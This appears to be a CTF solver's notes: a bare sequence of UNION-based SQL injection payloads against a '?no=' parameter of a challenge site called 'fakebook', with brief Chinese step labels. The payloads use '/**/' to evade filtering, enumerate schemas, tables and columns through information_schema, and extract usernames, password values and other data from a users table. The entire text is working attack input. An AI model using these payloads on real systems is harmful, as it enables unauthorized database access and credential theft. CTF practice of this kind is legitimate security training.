?no=0 union/**/select 1,group_concat(distinct TABLE_SCHEMA), 3, 4 from information_schema.tables--
爆表
?no=0 union/**/select 1,group_concat(distinct TABLE_NAME), 3, 4 from information_schema.tables where table_schema='fakebook'--
字段
?no=0 union/**/select 1,group_concat(distinct COLUMN_NAME), 3, 4 from information_schema.columns where table_schema='fakebook' and table_name='users'--
字段内容
?no=0 union/**/select 1, group_concat(no) , 3, 4 from users--
?no=0 union/**/select 1, group_concat(username) , 3, 4 from users--
?no=0 union/**/select 1, group_concat(passwd) , 3, 4 from users--
?no=0 union/**/select 1, group_concat(data) , 3, 4 from users--